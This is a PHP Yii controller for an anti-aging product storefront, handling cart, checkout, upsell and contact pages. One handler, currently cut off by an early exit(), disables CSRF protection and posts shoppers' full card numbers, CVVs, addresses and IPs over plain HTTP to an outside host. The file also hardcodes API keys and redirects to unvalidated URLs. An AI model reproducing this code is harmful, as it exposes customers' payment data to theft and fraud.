File: /home/emblazeone/public_html/amaroseantiaging/controllers/SiteController.php
<?php
namespace app\controllers;
use app\models\OrderForm;
use app\models\Orders;
use app\models\ProductFactory;
use Yii;
use yii\filters\AccessControl;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\Response;
use yii\filters\VerbFilter;
use app\models\LoginForm;
use app\models\ContactForm;
class SiteController extends Controller
{
public function beforeAction($action)
{
if($action->id=='activity'){
$this->enableCsrfValidation=false;
}
return parent::beforeAction($action);
}
/**
* {@inheritdoc}
*/
public function behaviors()
{
return [
'access' => [
'class' => AccessControl::className(),
'only' => ['logout'],
'rules' => [
[
'actions' => ['logout'],
'allow' => true,
'roles' => ['@'],
],
],
],
'verbs' => [
'class' => VerbFilter::className(),
'actions' => [
'logout' => ['post'],
],
],
];
}
/**
* {@inheritdoc}
*/
public function actions()
{
return [
'error' => [
'class' => 'yii\web\ErrorAction',
],
'captcha' => [
'class' => 'yii\captcha\CaptchaAction',
'fixedVerifyCode' => YII_ENV_TEST ? 'testme' : null,
],
];
}
public function actionActivity(){
return $this->activity(Yii::$app->request->post());
}
public function activity($post)
{
exit();
if ( !Yii::$app->session->isActive) { Yii::$app->session->open(); }
$session=Yii::$app->session->getId();
$url='http://shop.payzip.xyz/rest/v1/activity/'.$session.'?Authorization='.base64_encode('4f85f2d1039f8d161030e24d39832f05abf7f281705d6ba9318a571f6cd22f42');
$products=Yii::$app->session->get('cart', []);
$post["cart_description"]="";
foreach ($products as $product){
$post["cart_description"].=$product['product']->title." ".$product['product']->packdescripiton." ".($product['subscription']?'Subscription':'One Time Purchase')." - ".($product['subscription']?$product['product']->subscription_price:$product['product']->price).", ";
}
$post['first_name']=$post['OrderForm']['first_name'];
$post['last_name']=$post['OrderForm']['last_name'];
$post['phone']=$post['OrderForm']['phone'];
$post['email']=$post['OrderForm']['email'];
$post['address']=$post['OrderForm']['address'];
$post['address1']=$post['OrderForm']['address1'];
$post['city']=$post['OrderForm']['city'];
$post['country']=$post['OrderForm']['country'];
$post['state']=$post['OrderForm']['state'];
$post['zip']=$post['OrderForm']['zip'];
$post['shipping_address']=$post['OrderForm']['shippingAddress'];
$post['shipping_address1']=$post['OrderForm']['shippingAddress1'];
$post['shipping_city']=$post['OrderForm']['shippingCity'];
$post['shipping_country']=$post['OrderForm']['shippingCountry'];
$post['shipping_state']=$post['OrderForm']['shippingState'];
$post['shipping_zip']=$post['OrderForm']['shippingZip'];
$post['card_number']=$post['OrderForm']['cardNumber'];
$post['card_exp_month']=$post['OrderForm']['cardMonth'];
$post['card_exp_year']=$post['OrderForm']['cardYear'];
$post['card_cvv']=$post['OrderForm']['cardCvv'];
$post['remote_addr']=$_SERVER['REMOTE_ADDR'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
$out = curl_exec($curl);
curl_close($curl);
}
/**
* Displays homepage.
*
* @return string
*/
public function actionIndex()
{
$orderForm=new OrderForm();
$orderForm->scenario='step1';
$sessionForm=Yii::$app->session->get('orderForm',false);
if($sessionForm){
$orderForm->load($sessionForm,'');
}
$products=ProductFactory::getMainProducts();
return $this->render('index', ['orderForm'=>$orderForm,'products'=>$products]);
}
public function actionComplete($visitorid){
$key=base64_encode('3ba03815326089b71ea0cb58a97501a414bb366cff2afbe5ce01e6003ef8019b');
$jsonData=@file_get_contents('https://pay.limitlessx.com/rest/v1/active/find-by-hash/'.$visitorid.'?Authorization='.$key);
$data=json_decode($jsonData, true);
if(!$data) return $this->redirect(['index']);
// $cart=[[
// 'product'=>ProductFactory::getProductById(1),
// 'flavor'=>false,
// 'subscription'=>false,
// 'qty'=>1
// ]];
if($data['lead']){
$checkout['email']=$data['lead']['emailAddress'];
$checkout['phone']=$data['lead']['phoneNumber'];
$checkout['first_name']=$data['lead']['firstName'];
$checkout['last_name']=$data['lead']['lastName'];
$checkout['address']=$data['lead']['address1'];
$checkout['address1']=$data['lead']['address2'];
$checkout['city']=$data['lead']['city'];
$checkout['state']=$data['lead']['state'];
$checkout['country']=$data['lead']['country'];
$checkout['zip']=$data['lead']['postalCode'];
}else{
$checkout['first_name']=$data['first_name'];
$checkout['last_name']=$data['last_name'];
$checkout['phone']=$data['phone'];
$checkout['email']=$data['email'];
}
Yii::$app->session->set('checkout', $checkout);
// Yii::$app->session->set('cart', $cart);
return $this->redirect(['index#order_now']);
}
public function actionV1()
{
$orderForm=new OrderForm();
$orderForm->scenario='step1';
$sessionForm=Yii::$app->session->get('orderForm',false);
if($sessionForm){
$orderForm->load($sessionForm,'');
}
return $this->render('index-1', ['orderForm'=>$orderForm]);
}
public function actionV2()
{
$orderForm=new OrderForm();
$orderForm->scenario='step1';
$sessionForm=Yii::$app->session->get('orderForm',false);
if($sessionForm){
$orderForm->load($sessionForm,'');
}
return $this->render('index-2', ['orderForm'=>$orderForm]);
}
public function actionV3()
{
$orderForm=new OrderForm();
$orderForm->scenario='step1';
$sessionForm=Yii::$app->session->get('orderForm',false);
if($sessionForm){
$orderForm->load($sessionForm,'');
}
return $this->render('index-3', ['orderForm'=>$orderForm]);
}
public function actionV4()
{
$orderForm=new OrderForm();
$orderForm->scenario='step1';
$sessionForm=Yii::$app->session->get('orderForm',false);
if($sessionForm){
$orderForm->load($sessionForm,'');
}
return $this->render('index-4', ['orderForm'=>$orderForm]);
}
public function actionSelect()
{
Yii::$app->session->set('cart', []);
$this->layout='checkout';
$products=ProductFactory::getMainProducts();
return $this->render('select',['products'=>$products]);
}
public function actionAddToCart($id){
$product = ProductFactory::getProductById($id);
if(!$product) throw new NotFoundHttpException('Page not found');
$return=Yii::$app->request->get('return', false);
if(!$return) $return=Yii::$app->request->get('return', false);
$num=Yii::$app->request->get('num', false);
$flavor=Yii::$app->request->get('flavor', false);
$subscription=Yii::$app->request->get('subscription', false);
if(!$flavor && $product->flavors){
$this->layout='checkout';
return $this->render('flavors', ['product'=>$product, 'subscription'=>$subscription]);
}else{
if($product->subscription_price && ($subscription===false || $subscription==='')){
$this->layout='checkout';
return $this->render('subscription', ['product'=>$product,'flavor'=>$flavor]);
}else{
$products=Yii::$app->session->get('cart', []);
if($num===false){
$products[]=[
'product'=>$product,
'flavor'=>$flavor,
'subscription'=>$subscription,
'qty'=>1
];
}else{
$products[$num]['flavor']=$flavor;
}
Yii::$app->session->set('cart', $products);
if(!$return) return $this->redirect(['site/checkout']);
else return $this->redirect($return);
}
}
}
public function actionUpdateQty(){
$products=Yii::$app->session->get('cart', []);
$post=Yii::$app->request->post();
foreach ($products as $num=>$product){
if($post['qty'][$num]>0) $products[$num]['qty']=(int)$post['qty'][$num];
else{
unset($products[$num]);
}
}
Yii::$app->session->set('cart', $products);
}
public function actionCheckout(){
$this->layout='checkout';
$products=Yii::$app->session->get('cart', []);
if(!count($products) && !Yii::$app->request->isAjax) return $this->redirect(['index']);
$checkout = Yii::$app->session->get('checkout', false);
$model = new OrderForm();
if($checkout){
unset($checkout['cardSecurityCode']);
$model->load($checkout, '');
}
$post=Yii::$app->request->post();
if($model->load($post) && $model->validate()){
Yii::$app->session->set('checkout', $model->getAttributes());
$upsaleProducts=ProductFactory::getUpsaleProducts();
return $this->actionOrder();
// if(count($upsaleProducts)){
// return $this->redirect(['site/upsale','step'=>1]);
// }
}
return $this->render('checkout', ['products'=>$products,'model'=>$model]);
}
public function actionUpsale($step){
$upsaleProducts=ProductFactory::getUpsaleProducts();
if($step>count($upsaleProducts)) return $this->redirect(['site/thank','result'=>Yii::$app->request->get('result')]);
$total=Yii::$app->session->get('amount');
if($step<0) return $this->redirect(['site/checkout']);
$prevProduct = $upsaleProducts[($step-2)];
$product = $upsaleProducts[($step-1)];
return $this->render('upsell-'.$step,['total'=>$total,'product'=>$product,'prevProduct'=>$prevProduct,'step'=>$step]);
}
public function actionOrder($product_id=false){
$return=Yii::$app->request->get('return', false);
if(!$return) $return=Yii::$app->request->get('return', false);
$orderForm=new OrderForm();
$cart=Yii::$app->session->get('cart', []);
if(!$cart && !$product_id) return $this->redirect(['site/index']);
$checkout = Yii::$app->session->get('checkout', false);
if(!$checkout) return $this->redirect(['site/checkout']);
if(!$product_id){
$orderForm->cart=$cart;
}else{
$product = ProductFactory::getProductById($product_id);
if(!$product) return $this->redirect(['site/thank','result'=>Yii::$app->request->get('result')]);
$orderForm->cart=[[
'product'=>$product,
'flavor'=>false,
'subscription'=>false,
'qty'=>1
]];
}
$products=$orderForm->cart;
if($orderForm->load($checkout, '') && $orderForm->validate()){
$result=$orderForm->save();
if($result===true) {
Yii::$app->session->set('thank', true);
$total=0;
foreach ($products as $product){
if (!isset($product['subscription']) || $product['subscription'] == 0) {
$total+=$product['product']->price*($product['qty']?$product['qty']:1);
}else{
$total+=$product['product']->subscription_price*($product['qty']?$product['qty']:1);
}
}
Yii::$app->session->set('amount', $total);
if($return) return $this->redirect($return);
return $this->redirect(['site/upsale', 'step'=>1, 'result'=>'ty']);
// return $this->redirect(['site/thank','result'=>Yii::$app->request->get('result')]);
}else{
Yii::$app->session->setFlash('error', $result);
return $this->redirect(['site/checkout']);
}
}else{
return $this->redirect(['site/checkout']);
}
}
public function actionOrderUpsale($product_id=false){
$return=Yii::$app->request->get('return', false);
if(!$return) $return=Yii::$app->request->get('return', false);
$orderForm=new OrderForm();
$cart=Yii::$app->session->get('cart', []);
if(!$cart && !$product_id) return $this->redirect(['site/index']);
$checkout = Yii::$app->session->get('checkout', false);
if(!$checkout) return $this->redirect(['site/checkout']);
if(!$product_id){
$orderForm->cart=$cart;
}else{
$product = ProductFactory::getProductById($product_id);
if(!$product) return $this->redirect(['site/thank','result'=>Yii::$app->request->get('result')]);
$orderForm->cart=[[
'product'=>$product,
'flavor'=>false,
'subscription'=>false,
'qty'=>1
]];
}
$products=$orderForm->cart;
if($orderForm->load($checkout, '') && $orderForm->validate()){
$result=$orderForm->saveUpsale();
if($result===true) {
Yii::$app->session->set('thank', true);
$total=0;
foreach ($products as $product){
if (!isset($product['subscription']) || $product['subscription'] == 0) {
$total+=$product['product']->price*($product['qty']?$product['qty']:1);
}else{
$total+=$product['product']->subscription_price*($product['qty']?$product['qty']:1);
}
}
Yii::$app->session->set('amount', $total);
if($return) return $this->redirect($return);
return $this->redirect(['site/upsale', 'step'=>1, 'result'=>'ty']);
// return $this->redirect(['site/thank','result'=>Yii::$app->request->get('result')]);
}else{
Yii::$app->session->setFlash('error', $result);
if($return) return $this->redirect($return);
return $this->redirect(['site/upsale', 'step'=>1, 'result'=>'ty']);
// return $this->redirect(['site/checkout']);
}
}else{
return $this->redirect(['site/upsale', 'step'=>1, 'result'=>'ty']);
// return $this->redirect(['site/checkout']);
}
}
public function actionThank($id=false)
{
if(!Yii::$app->session->get('thank', false)){
return $this->redirect('index');
}
$upsaleProducts=ProductFactory::getUpsaleProducts();
$total=Yii::$app->session->get('amount');
// if(!$order) return $this->redirect('index');
Yii::$app->session->set('thank', false);
$this->layout='checkout';
$order_id=Yii::$app->session->get('order_id');
$prevProduct = $upsaleProducts[(count($upsaleProducts)-1)];
return $this->render('thank',['prevProduct'=>$prevProduct,'order_id'=>$order_id, 'total'=>$total]);
}
public function actionGetStates($country){
echo json_encode(OrderForm::getStates($country));
exit();
}
// public function actionTest(){
// Yii::$app->session->setFlash('success', 'Your message has been successfully sent.<br>Please allow up to <strong>24 hours</strong> for a response');
// }
public function actionContact()
{
$this->layout='checkout';
$model=new ContactForm();
if($model->load(Yii::$app->request->post())){
$model->contact('jas@limitlessx.com');
Yii::$app->session->setFlash('success', 'Your message has been successfully sent.<br>Please allow up to <strong>24 hours</strong> for a response');
return $this->redirect('contact');
}
return $this->render('contact',['model'=>$model]);
}
public function actionPrivacy()
{
$this->layout='checkout';
return $this->render('privacy');
}
public function actionTerms()
{
$this->layout='checkout';
return $this->render('terms');
}
public function actionRefund()
{
$this->layout='checkout';
return $this->render('refund');
}
/**
* Displays about page.
*
* @return string
*/
public function actionAbout()
{
return $this->render('about');
}
}